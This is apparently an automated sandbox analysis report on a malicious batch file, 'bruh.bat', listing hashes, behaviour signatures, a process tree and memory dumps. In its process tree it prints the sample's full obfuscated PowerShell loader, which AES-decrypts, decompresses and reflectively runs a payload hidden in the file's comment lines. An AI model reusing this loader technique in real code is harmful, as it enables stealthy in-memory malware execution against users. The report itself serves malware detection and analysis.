Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    23/08/2024, 02:04

General

  • Target
    bruh.bat
  • Size 3.4MB
  • Sample240823-chdnsasbpn
  • SHA256 25e9e2452ab80045dbc60e1781170534211733b329cf63817fcec01e02dc9491
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\bruh.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2440
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function JzOrv($JOVmI){ $EZedT=[System.Security.Cryptography.Aes]::Create(); $EZedT.Mode=[System.Security.Cryptography.CipherMode]::CBC; $EZedT.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $EZedT.Key=[System.Convert]::FromBase64String('d6Y2cCuVt0qzVamv48i3xay/VeKI+dRjXg3vU0rh814='); $EZedT.IV=[System.Convert]::FromBase64String('Bo7SK+5cR91VaSDnn2FoGg=='); $cAjNt=$EZedT.CreateDecryptor(); $wIxxf=$cAjNt.TransformFinalBlock($JOVmI, 0, $JOVmI.Length); $cAjNt.Dispose(); $EZedT.Dispose(); $wIxxf;}function uykma($JOVmI){ IEX '$pQDpF=New-Object System.IO.M*em*or*yS*tr*ea*m(,$JOVmI);'.Replace('*', ''); IEX '$ddPtx=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$kYJFf=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($pQDpF, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $kYJFf.CopyTo($ddPtx); $kYJFf.Dispose(); $pQDpF.Dispose(); $ddPtx.Dispose(); $ddPtx.ToArray();}function dYMzv($JOVmI,$FyHcy){ IEX '$nWeiW=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$JOVmI);'.Replace('*', ''); IEX '$mVrtd=$nWeiW.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$mVrtd.*I*n*v*o*k*e*($null, $FyHcy);'.Replace('*', '');}$GxxuI = 'C:\Users\Admin\AppData\Local\Temp\bruh.bat';$host.UI.RawUI.WindowTitle = $GxxuI;$mmNci=[System.IO.File]::ReadAllText($GxxuI).Split([Environment]::NewLine);foreach ($ZhwgB in $mmNci) { if ($ZhwgB.StartsWith(':: ')) { $AUgXv=$ZhwgB.Substring(3); break; }}$GEWnH=[string[]]$AUgXv.Split('\');IEX '$xeNzk=uykma (JzOrv ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($GEWnH[0])));'.Replace('*', '');IEX '$ayRbn=uykma (JzOrv ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($GEWnH[1])));'.Replace('*', '');dYMzv $xeNzk $null;dYMzv $ayRbn (,[string[]] ('%KfkGZ')); "
      2⤵
        PID:2304
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle Hidden
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2544

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/2544-4-0x000007FEF5D2E000-0x000007FEF5D2F000-memory.dmp

          memory/2544-8-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

          memory/2544-7-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

          memory/2544-5-0x000000001B570000-0x000000001B852000-memory.dmp

          memory/2544-9-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

          memory/2544-6-0x0000000002C00000-0x0000000002C08000-memory.dmp

          memory/2544-10-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

          memory/2544-11-0x000007FEF5D2E000-0x000007FEF5D2F000-memory.dmp

          memory/2544-12-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp